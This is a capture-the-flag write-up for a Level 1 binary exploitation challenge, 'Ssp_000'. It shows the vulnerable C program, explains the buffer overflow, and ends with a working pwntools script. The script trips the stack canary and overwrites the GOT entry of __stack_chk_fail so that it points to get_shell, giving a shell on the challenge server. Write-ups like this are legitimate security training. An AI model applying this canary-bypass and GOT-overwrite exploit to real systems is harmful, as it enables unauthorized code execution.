Write-up of the challenge “Ssp_000”#

This challenge is part of the “Binary exploitation” category and is in Level 1.

Goal of the challenge#

The objective of this challenge is to buffer overflow and overwrite the RIP to make it point to get_shell. The binary helps us with letting us first write to the buffer where we want to overwrite it’s RIP and then it let’s us change a certain address to a certain address.

Program structure#

1
#include <stdio.h>
2
#include <stdlib.h>
3
#include <signal.h>
4
#include <unistd.h>
5

6

7
void alarm_handler() {
8
    puts("TIME OUT");
9
    exit(-1);
10
}
11

12

13
void initialize() {
14
    setvbuf(stdin, NULL, _IONBF, 0);
15
    setvbuf(stdout, NULL, _IONBF, 0);
16

17
    signal(SIGALRM, alarm_handler);
18
    alarm(30);
19
}
20

21
void get_shell() {
22
    system("/bin/sh");
23
}
24

25
int main(int argc, char *argv[]) {
26
    long addr;
27
    long value;
28
    char buf[0x40] = {};
29

30
    initialize();
31

32

33
    read(0, buf, 0x80);
34

35
    printf("Addr : ");
36
    scanf("%ld", &addr);
37
    printf("Value : ");
38
    scanf("%ld", &value);
39

40
    *(long *)addr = value;
41

42
    return 0;
43
}

Security breach#

The vunlerability here is:

1
read(0, buf, 0x80);

It is a basic buffer overflow where the buff is 0x40 and we are reading 0x80.

Solution#

So my idea is to buffer overflow as our first input to make it crash the canary. After that we change the address of the function that is called when the canary crash (__stack_chk_fail) and make it point to get_shell. While researching what function is called when the canary gets corrupted this helped a lot https://sigma-star.at/blog/2023/05/stack-canary/

solve.py:

1
from pwn import *
2

3
p = remote('host8.dreamhack.games', 12517)
4
# p = process('./ssp_000')
5

6
elf = ELF('./ssp_000')
7

8
get_shell = elf.sym['get_shell']
9
canary = elf.got['__stack_chk_fail']
10

11
payload = "A" * 120
12
p.send(payload)
13

14
p.sendlineafter('Addr : ', str(canary).encode())
15
p.sendlineafter('Value : ', str(get_shell).encode())
16

17
p.interactive()